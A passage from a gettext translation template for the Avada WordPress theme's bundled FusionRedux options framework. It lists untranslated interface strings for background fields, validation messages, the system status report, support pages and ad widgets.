includes/metaboxes/tabs/tab_header.php:162 #: includes/metaboxes/tabs/tab_off_canvas_design.php:77 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:134 #: includes/metaboxes/tabs/tab_page.php:106 includes/options/background.php:118 #: includes/options/background.php:349 includes/options/footer.php:437 #: includes/options/header.php:789 msgid "Background Repeat" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/background/field_background.php:161 msgid "Background Clip" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/background/field_background.php:177 msgid "Background Origin" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/background/field_background.php:192 #: includes/metaboxes/tabs/tab_off_canvas_design.php:106 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:168 msgid "Background Size" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/background/field_background.php:207 msgid "Background Attachment" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/background/field_background.php:227 #: includes/metaboxes/tabs/tab_off_canvas_design.php:48 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:100 #: includes/options/footer.php:457 msgid "Background Position" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/background/field_background.php:281 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/media/field_media.php:153 msgid "No media selected" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/border/field_border.php:177 msgid "Border style" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/color_gradient/field_color_gradient.php:72 msgid "From " msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/color_gradient/field_color_gradient.php:86 msgid "To " msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/gallery/field_gallery.php:77 msgid "Add/Edit Gallery" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/gallery/field_gallery.php:78 msgid "Clear Gallery" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/link_color/field_link_color.php:100 msgid "Visited" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/multi_text/field_multi_text.php:66 msgid "Add More" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/password/field_password.php:66 msgid "Password" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/password/field_password.php:67 msgid "Username" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/select/field_select.php:87 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/select_image/field_select_image.php:67 msgid "Select an item" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/select/field_select.php:142 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/select_image/field_select_image.php:148 msgid "No items of this type were found." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/slides/field_slides.php:89 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:26 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:38 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:322 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:403 #: includes/options/menu.php:541 msgid "Slide" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/slides/field_slides.php:94 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/slides/field_slides.php:195 msgid "New %s" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/validation/color/validation_color.php:20 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/validation/color_rgba/validation_color_rgba.php:19 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/validation/colorrgba/validation_colorrgba.php:21 msgid "This field must be a valid color value." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/validation/comma_numeric/validation_comma_numeric.php:22 msgid "You must provide a comma separated list of numerical values for this option." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/validation/css/validation_css.php:45 msgid "Unsafe strings were found in your CSS and have been filtered out." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/validation/date/validation_date.php:22 msgid "This field must be a valid date." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/validation/email/validation_email.php:22 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/validation/email_not_empty/validation_email_not_empty.php:22 msgid "You must provide a valid email for this option." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/validation/no_html/validation_no_html.php:21 msgid "You must not enter any HTML in this field, all HTML tags have been removed." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/validation/no_special_chars/validation_no_special_chars.php:22 msgid "" "You must not enter any special characters in this field, all special " "characters have been removed." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/validation/not_empty/validation_not_empty.php:22 msgid "This field cannot be empty. Please provide a value." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/validation/numeric/validation_numeric.php:22 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/validation/numeric_not_empty/validation_numeric_not_empty.php:22 msgid "You must provide a numerical value for this option." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/validation/unique_slug/validation_unique_slug.php:22 msgid "" "That URL slug is in use, please choose another. %s is open for " "use." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/validation/url/validation_url.php:22 msgid "You must provide a valid URL for this option." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/about.php:2 msgid "Welcome to FusionRedux Framework %s" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/about.php:5 msgid "" "Thank you for updating to the latest version! FusionRedux Framework %s is a " "huge step forward in FusionRedux Development. Look at all that's new." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/about.php:15 msgid "What is FusionRedux Framework?" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/about.php:17 msgid "" "FusionRedux Framework is the core of many products on the web. It is an " "option framework which developers use to\n" "\t\t\tenhance their products." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/about.php:24 msgid "New in this Release" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/changelog.php:2 msgid "FusionRedux Framework - Changelog" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/changelog.php:5 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:30 msgid "" "Our core mantra at FusionRedux is backwards compatibility. With hundreds of " "thousands of instances worldwide, you can be assured that we will take care " "of you and your clients." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/credits.php:2 msgid "FusionRedux Framework - A Community Effort" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/credits.php:5 msgid "" "We recognize we are nothing without our community. We would like to thank " "all of those who help FusionRedux to be what it is. Thank you for your " "involvement." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/credits.php:18 msgid "" "FusionRedux is created by a community of developers world wide. Want to " "have your name listed too? Contribute to " "FusionRedux." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/extensions.php:73 msgid "FusionRedux Framework - Extensions" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/extensions.php:76 msgid "" "Supercharge your FusionRedux experience. Our extensions provide you with " "features that will take your products to the next level." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/extensions.php:89 msgid "" "While some are built specificially for developers, extensions such as " "Custom Fonts are sure to make any user happy." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:26 msgid "FusionRedux Framework - System Status" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:43 msgid "" "Please copy and paste this information in your ticket when contacting " "support:" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:53 msgid "Understanding the Status Report" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:63 msgid "Copy for Support" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:80 msgid "Home URL" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:100 msgid "FusionRedux Version" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:103 msgid "The version of FusionRedux Framework installed on your site." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:111 msgid "FusionRedux Data Directory Writable" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:114 msgid "" "FusionRedux and its extensions write data to the uploads " "directory. This directory must be writable." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:120 msgid "To allow data saving, make %s writable." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:126 msgid "WP Content URL" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:129 msgid "The location of Wordpress's content URL." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:137 msgid "WP Version" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:148 msgid "WP Multisite" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:162 msgid "Permalink Structure" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:165 msgid "" "The current permalink structure as defined in Wordpress " "Settings->Permalinks." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:174 msgid "Front Page Display" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:176 msgid "The current Reading mode of Wordpress." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:185 msgid "Front Page" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:188 msgid "The currently selected page which acts as the site's Front Page." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:196 msgid "Posts Page" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:199 msgid "The currently selected page in where blog posts are displayed." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:210 msgid "WP Memory Limit" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:220 msgid "" "%s - We recommend setting memory to at least 40MB. See: Increasing memory allocated to PHP" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:229 msgid "Database Table Prefix" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:232 msgid "The prefix structure of the current Wordpress database." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:240 msgid "WP Debug Mode" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:255 #: includes/options/forms.php:306 msgid "Language" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:270 #: includes/options/performance.php:658 msgid "Browser" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:277 msgid "Browser Info" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:280 msgid "Information about web browser current in use." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:304 msgid "Server Info" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:315 msgid "Localhost Environment" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:318 msgid "Is the server running in a localhost environment." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:332 msgid "PHP Version" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:343 msgid "ABSPATH" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:346 msgid "The ABSPATH variable on the server." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:355 msgid "PHP Memory Limit" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:356 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:361 msgid "The largest filesize that can be contained in one post." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:360 msgid "PHP Post Max Size" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:365 msgid "PHP Time Limit" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:370 msgid "PHP Max Input Vars" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:375 msgid "PHP Display Errors" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:376 msgid "Determines if PHP will display errors within the browser." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:387 msgid "SUHOSIN Installed" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:388 msgid "" "Suhosin is an advanced protection system for PHP installations. It was " "designed to protect your servers on the one hand against a number of well " "known problems in PHP applications and on the other hand against potential " "unknown vulnerabilities within these applications or the PHP core itself. " "If enabled on your server, Suhosin may need to be configured to increase " "its data submission limits." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:399 msgid "MySQL Version" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:404 msgid "Max Upload Size" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:405 msgid "The largest filesize that can be uploaded to your WordPress installation." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:410 msgid "Default Timezone is UTC" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:412 msgid "The default timezone for your server." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:416 msgid "Default timezone is %s - it should be UTC" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:428 msgid "Used when communicating with remote services with PHP." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:434 msgid "" "Your server does not have fsockopen or cURL enabled - cURL is used to " "communicate with other servers. Please contact your hosting provider." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:473 msgid "Remote Post" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:474 msgid "Used to send data to remote servers." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:479 msgid "" "wp_remote_post() failed. Many advanced features may not function. Contact " "your hosting provider." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:482 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:497 msgid "Error: %s" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:489 msgid "Remote Get" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:490 msgid "Used to grab information from remote servers for updates updates." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:495 msgid "" "wp_remote_get() failed. This is needed to get information from remote " "servers. Contact your hosting provider." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:572 msgid "FusionRedux Instance: " msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:579 msgid "The opt_name argument for this instance of FusionRedux." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:587 msgid "The global_variable argument for this instance of FusionRedux." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:595 msgid "Indicates if developer mode is enabled for this instance of FusionRedux." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:600 msgid "Indicates if ajax based saving is enabled for this instance of FusionRedux." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:605 msgid "" "The page slug denotes the string used for the options panel page for this " "instance of FusionRedux." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:610 msgid "" "The page permissions variable sets the permission level required to access " "the options panel for this instance of FusionRedux." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:615 msgid "" "This variable set whether or not the menu is displayed as an admin menu " "item for this instance of FusionRedux." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:620 msgid "" "The page parent variable sets where the options menu will be placed on the " "WordPress admin sidebar for this instance of FusionRedux." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:626 msgid "Indicates if the compiler flag is enabled for this instance of FusionRedux." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:631 msgid "" "Indicates if output flag for globally shutting off all CSS output is " "enabled for this instance of FusionRedux." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:636 msgid "" "The output_tag variable sets whether or not dynamic CSS will be generated " "for the customizer and Google fonts for this instance of FusionRedux." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:645 msgid "" "The specified template path containing custom template files for this " "instance of FusionRedux." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:650 msgid "List of template files overriding the default FusionRedux template files." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:676 msgid "Indicates the installed FusionRedux extensions and their version numbers." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:705 msgid "Theme" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:711 msgid "The name of the current active theme." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:716 msgid "The installed version of the current active theme." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:722 msgid "is available" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:728 msgid "Author URL" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:729 msgid "The theme developers URL." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:733 msgid "Child Theme" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:734 msgid "Displays whether or not the current theme is a child theme." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:737 msgid "" "If you're modifying FusionRedux Framework or a parent theme you didn't " "build personally, we recommend using a child theme. See: How to create a child theme" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:745 msgid "Parent Theme Name" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:747 msgid "The name of the parent theme." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:752 msgid "Parent Theme Version" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:754 msgid "The installed version of the parent theme." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:759 msgid "Parent Theme Author URL" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:761 msgid "The parent theme developers URL." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/support.php:2 msgid "FusionRedux Framework - Support" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/support.php:4 msgid "" "We are an open source project used by developers to make powerful control " "panels." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/support.php:19 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/support.php:40 msgid "Generate a Support URL" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/support.php:20 msgid "Select Support Type" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/support.php:21 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/support.php:87 msgid "How to Get Support" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/support.php:27 msgid "Submit a Support Request" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/support.php:31 msgid "To get started, we will need to generate a support hash." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/support.php:35 msgid "" "This will provide to your developer all the information they may need to " "remedy your issue. This action WILL send information securely to a remote " "server. To see the type of information sent, please look at the Status tab." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/support.php:52 msgid "Select Your Support Type" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/support.php:56 msgid "What type of user are you?" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/support.php:63 msgid "User" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/support.php:65 msgid "I am a user, using a prebuilt product." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/support.php:70 msgid "Developer" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/support.php:72 msgid "I am a developer, building a product using FusionRedux." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/support.php:92 msgid "" "Please proceed to the FusionRedux Framework issue tracker and supply us " "with your support URL below. Please also provide any information that will " "help us to reproduce your issue." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/support.php:101 msgid "" "Listed below are the Wordpress plugins and/or theme installed on your site " "that utilize FusionRedux Framework. We do not directly support products " "created with our framework. It is the responsibility of the plugin or " "theme developer to support their work. You will need to contact the " "author(s) of the products listed below with your support questions." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/support.php:105 msgid "" "Please be sure to include for your developer - via cut and paste - the " "Support URL in the box below." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/support.php:134 msgid "" "Should the developer not be responsive, read the following article before asking for support from us " "directly." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/welcome.php:104 msgid "" "If you like FusionRedux please leave us a ★★★★★ rating. A huge thank you from " "FusionRedux in advance!" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/welcome.php:135 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/welcome.php:145 msgid "Support hash could not be generated. Please try again later." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/welcome.php:167 msgid "Welcome to FusionRedux Framework" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/welcome.php:175 msgid "FusionRedux Framework Changelog" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/welcome.php:183 #: includes/lib/inc/redux/framework/class.fusionredux-plugin.php:416 msgid "Get Support" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/welcome.php:191 msgid "FusionRedux Extensions" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/welcome.php:200 msgid "The people that develop FusionRedux Framework" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/welcome.php:208 msgid "FusionRedux Framework Status" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/welcome.php:308 msgid "What's New" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/welcome.php:311 msgid "Extensions" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/welcome.php:317 msgid "Credits" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/welcome.php:483 msgid "View %s" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/templates/panel/footer.tpl.php:61 #: includes/lib/inc/redux/framework/FusionReduxCore/templates/panel/header_stickybar.tpl.php:25 #: includes/lib/inc/redux/panel_templates/header_stickybar.tpl.php:31 msgid "Reset Section" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/templates/panel/footer.tpl.php:62 #: includes/lib/inc/redux/framework/FusionReduxCore/templates/panel/header_stickybar.tpl.php:26 #: includes/lib/inc/redux/panel_templates/header_stickybar.tpl.php:32 msgid "Reset All" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/templates/panel/footer.tpl.php:67 #: includes/lib/inc/redux/framework/FusionReduxCore/templates/panel/header_stickybar.tpl.php:29 #: includes/lib/inc/redux/panel_templates/header_stickybar.tpl.php:43 msgid "Working..." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/templates/panel/header.tpl.php:11 #: includes/lib/inc/redux/framework/FusionReduxCore/templates/panel/header.tpl.php:49 msgid "Developer Mode Enabled" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/templates/panel/header.tpl.php:20 msgid "WP_DEBUG is enabled" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/templates/panel/header.tpl.php:26 msgid "you are working in a localhost environment" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/templates/panel/header.tpl.php:31 msgid "and" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/templates/panel/header.tpl.php:34 msgid "This has been automatically enabled because" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/templates/panel/header.tpl.php:36 msgid "" "If you are not a developer, your theme/plugin author shipped with developer " "mode enabled. Contact them directly to fix it." msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/templates/panel/header.tpl.php:58 msgid "FORCED DEV MODE OFF ENABLED" msgstr "" #: includes/lib/inc/redux/framework/FusionReduxCore/templates/panel/header_stickybar.tpl.php:15 msgid "Expand" msgstr "" #: includes/lib/inc/redux/framework/class.fusionredux-plugin.php:312 msgid "FusionRedux Framework has an embedded demo." msgstr "" #: includes/lib/inc/redux/framework/class.fusionredux-plugin.php:312 msgid "Click here to activate the sample config file." msgstr "" #: includes/lib/inc/redux/framework/class.fusionredux-plugin.php:413 msgid "Docs" msgstr "" #: includes/lib/inc/redux/framework/class.fusionredux-plugin.php:414 msgid "Repo" msgstr "" #: includes/lib/inc/redux/framework/class.fusionredux-plugin.php:421 msgid "Deactivate Demo Mode" msgstr "" #: includes/lib/inc/redux/framework/class.fusionredux-plugin.php:423 msgid "Activate Demo Mode" msgstr "" #: includes/lib/inc/redux/panel_templates/header_stickybar.tpl.php:20 msgid "Expand Options" msgstr "" #: includes/lib/inc/redux/validation-functions.php:86 #: includes/lib/inc/redux/validation-functions.php:268 #. translators: %1$s: The fallback value. %2$s: The saved value. %3$s: #. User-entered value. #. translators: %1$s: Fallback value. %2$s: Saved value. %3$s: User-entered #. value. msgid "" "We could not find a valid unit for this field, falling back to \"%1$s\". " "Saved value \"%2$s\" and not \"%3$s\"." msgstr "" #: includes/lib/inc/redux/validation-functions.php:88 #: includes/lib/inc/redux/validation-functions.php:171 #: includes/lib/inc/redux/validation-functions.php:270 #. translators: %1$s: The fallback value. %2$s: The saved value. %3$s: #. User-entered value. #. translators: %1$s: The fallback value. %2$s: The saved value. %3$s: #. User-entered value. %4$s: A list of valid units. #. translators: %2$s: Saved value. %3$s: User-entered value. msgid "" "No units were entered, falling back to using pixels. Saved value \"%2$s\" " "and not \"%3$s\"." msgstr "" #: includes/lib/inc/redux/validation-functions.php:169 #. translators: %1$s: The fallback value. %2$s: The saved value. %3$s: #. User-entered value. %4$s: A list of valid units. msgid "" "We could not find a valid unit for this field, falling back to \"%1$s\". " "Valid units are %4$s. Saved value \"%2$s\" and not \"%3$s.\"." msgstr "" #: includes/lib/inc/redux/validation-functions.php:331 #: includes/lib/inc/redux/validation-functions.php:366 #. translators: The saved value and the user-entered value. msgid "Sanitized value and saved as %1$s instead of %2$s." msgstr "" #: includes/lib/inc/templates/rollover.php:139 msgid "Gallery" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:31 msgid "Add 125x125 ads." msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:37 msgid "Avada: 125x125 Ads" msgstr "" #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:148 #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:167 #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:186 #: includes/lib/inc/widgets/class-fusion-widget-ad-125-125.php:205 #. translators: Number. msgid "Ad %s" msgstr "" #: 